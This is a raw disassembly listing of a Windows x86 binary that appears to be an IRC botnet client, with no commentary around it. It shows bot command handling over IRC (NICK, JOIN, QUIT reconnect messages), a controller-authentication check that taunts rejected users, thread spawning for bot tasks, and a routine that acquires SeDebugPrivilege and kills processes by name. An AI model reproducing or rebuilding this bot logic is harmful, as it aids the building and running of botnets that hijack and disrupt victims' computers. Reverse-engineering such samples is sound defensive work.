; ---------------------------------------------------------------------------


loc_414805:				; CODE XREF: sub_40EE72+597Bj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_435748
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414835
		push	ebx
		push	[ebp+var_4]
		push	offset dword_435720
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414835:				; CODE XREF: sub_40EE72+59A7j
		push	[ebp+arg_4]
		call	dword_43F700
		call	dword_43F5C8
		call	sub_40AC42
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_414850:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F8
		jmp	loc_4145BB
; ---------------------------------------------------------------------------


loc_41487E:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356D0
		jmp	loc_4145BB
; ---------------------------------------------------------------------------


loc_4148B0:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_4148C9:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_414908
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414908
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414908
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_414908:				; CODE XREF: sub_40EE72+5A60j
					; sub_40EE72+5A6Bj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4149AB


loc_414995:				; CODE XREF: sub_40EE72+5B37j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_414995
; ---------------------------------------------------------------------------


loc_4149AB:				; CODE XREF: sub_40EE72+5B21j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_435660
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4149BC:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435638
		call	sub_40BF6D
		jmp	loc_414528
; ---------------------------------------------------------------------------


loc_4149DC:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A36
		push	offset dword_435634
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3C
; ---------------------------------------------------------------------------


loc_414A36:				; CODE XREF: sub_40EE72+5BA8j
		mov	[ebp+var_46C], ebx


loc_414A3C:				; CODE XREF: sub_40EE72+5BC2j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435608
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414AA6


loc_414A94:				; CODE XREF: sub_40EE72+5C32j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC1
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_414A94
; ---------------------------------------------------------------------------


loc_414AA6:				; CODE XREF: sub_40EE72+5C20j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset dword_4355C0


loc_414AB2:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_414AC1:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotss	; "botss"
		push	offset dword_435598
		jmp	short loc_414AEB
; ---------------------------------------------------------------------------


loc_414AD9:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_43555C


loc_414AEB:				; CODE XREF: sub_40EE72+5C65j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_414B18:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4A
		cmp	[ebp+var_C], ebx
		jz	short loc_414B59
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B59
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B59
; ---------------------------------------------------------------------------


loc_414B4A:				; CODE XREF: sub_40EE72+5CAFj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx


loc_414B59:				; CODE XREF: sub_40EE72+5CB4j
					; sub_40EE72+5CC3j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------


loc_414B60:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_43550C
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414B82:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354CC
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414BA3:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_414BB9:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354BC
		push	offset dword_4354B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BD1:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A4
		push	offset dword_435494
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BE9:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0D
; ---------------------------------------------------------------------------


loc_414C08:				; CODE XREF: sub_40EE72+5D80j
					; sub_40EE72+5D8Bj
		mov	eax, dword_42F5A8


loc_414C0D:				; CODE XREF: sub_40EE72+5D94j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C32
		push	esi


loc_414C1F:				; CODE XREF: sub_40EE72+5DCFj
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C49
; ---------------------------------------------------------------------------


loc_414C32:				; CODE XREF: sub_40EE72+5DAAj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C43
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C1F
; ---------------------------------------------------------------------------


loc_414C43:				; CODE XREF: sub_40EE72+5DC6j
		mov	[ebp+var_488], bl


loc_414C49:				; CODE XREF: sub_40EE72+5DBEj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414CFA


loc_414CE4:				; CODE XREF: sub_40EE72+5E86j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_414CE4
; ---------------------------------------------------------------------------


loc_414CFA:				; CODE XREF: sub_40EE72+5E70j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_43544C
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_414D0B:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D33
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3D


loc_414D33:				; CODE XREF: sub_40EE72+5EA8j
		mov	[ebp+var_46C], 1


loc_414D3D:				; CODE XREF: sub_40EE72+5EBFj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D84
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D84:				; CODE XREF: sub_40EE72+5F0Bj
		push	eax
		push	offset dword_435400
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F26
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414DF4


loc_414DE2:				; CODE XREF: sub_40EE72+5F80j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E0F
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_414DE2
; ---------------------------------------------------------------------------


loc_414DF4:				; CODE XREF: sub_40EE72+5F6Ej
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_4353B4


loc_414E00:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_414E0F:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------


loc_414E20:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435394
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_414E2F:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E8F
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E84
		cmp	eax, 2
		jge	short loc_414E84
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E79
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414E79:				; CODE XREF: sub_40EE72+5FE6j
		push	eax
		push	offset dword_435358
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E84:				; CODE XREF: sub_40EE72+5FD1j
					; sub_40EE72+5FD6j
		push	eax
		push	offset dword_43531C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E8F:				; CODE XREF: sub_40EE72+5FC6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_414E94:				; CODE XREF: sub_40EE72+603Ej
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB7
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E94
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414EB7:				; CODE XREF: sub_40EE72+6032j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438738
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414ED1:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F45
		call	sub_416F23
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414EF3:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415CFF
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E8


loc_414F3E:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx


loc_414F44:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx


loc_414F45:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414F4D:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B4 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E4 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEC
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43525C
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_414FEC:				; CODE XREF: sub_40EE72+6136j
		mov	[ebp+arg_24], offset off_42F6C8


loc_414FF3:				; CODE XREF: sub_40EE72+619Dj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415053
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6CC
		jb	short loc_414FF3
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435220
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_415053:				; CODE XREF: sub_40EE72+6190j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_415058:				; CODE XREF: sub_40EE72+6210j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_415078
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415089


loc_415078:				; CODE XREF: sub_40EE72+61F1j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_415058
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_415089:				; CODE XREF: sub_40EE72+6204j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C0
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F4
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4150C0:				; CODE XREF: sub_40EE72+6232j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C4
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4150D1:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511D	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2780DF7h
		nop
		push	eax
		call	dword_43F64C
		test	eax, eax
		jnz	short loc_41513C
		leave
		retn
; ---------------------------------------------------------------------------


loc_41513C:				; CODE XREF: sub_41511D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43F624
		test	eax, eax
		jz	short loc_41517A
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415163
		or	[ebp+var_8], 2
		jmp	short loc_415167
; ---------------------------------------------------------------------------


loc_415163:				; CODE XREF: sub_41511D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415167:				; CODE XREF: sub_41511D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43F6D4
		mov	esi, eax


loc_41517A:				; CODE XREF: sub_41511D+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26307C3h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415188	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_415339+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415332
		cmp	dword_43F66C, ebx
		jz	loc_415332
		cmp	dword_43F588, ebx
		jz	loc_415332
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43F688
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415325
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43F66C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415320


loc_41522B:				; CODE XREF: sub_415188+BEj
					; sub_415188+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43F588
		test	eax, eax
		jz	loc_415320
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522B
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152D8
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522B
		push	[ebp+var_124]
		push	8
		call	dword_43F688
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415295
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43F534
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529B
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A1
; ---------------------------------------------------------------------------


loc_415295:				; CODE XREF: sub_415188+EBj
		push	[ebp+var_124]


loc_41529B:				; CODE XREF: sub_415188+103j
		lea	eax, [ebp+var_108]


loc_4152A1:				; CODE XREF: sub_415188+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522B
; ---------------------------------------------------------------------------


loc_4152D8:				; CODE XREF: sub_415188+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 2720789h
		nop
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27E0BB5h
		test	eax, eax
		jnz	short loc_41531B
		push	edi
		call	esi
		jmp	short loc_415332
; ---------------------------------------------------------------------------


loc_41531B:				; CODE XREF: sub_415188+18Cj
		push	1
		pop	eax
		jmp	short loc_415334
; ---------------------------------------------------------------------------


loc_415320:				; CODE XREF: sub_415188+9Dj
					; sub_415188+B5j
		push	[ebp+var_4]
		call	esi


loc_415325:				; CODE XREF: sub_415188+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx


loc_415332:				; CODE XREF: sub_415188+3Aj
					; sub_415188+46j ...
		xor	eax, eax


loc_415334:				; CODE XREF: sub_415188+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415339	proc near		; DATA XREF: sub_40EE72+595Ao

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438838
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415398
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_415398:				; CODE XREF: sub_415339+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415188
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C0
		push	offset unk_438800
		jmp	short loc_4153C5
; ---------------------------------------------------------------------------


loc_4153C0:				; CODE XREF: sub_415339+7Ej
		push	offset unk_4387C8


loc_4153C5:				; CODE XREF: sub_415339+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153F8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


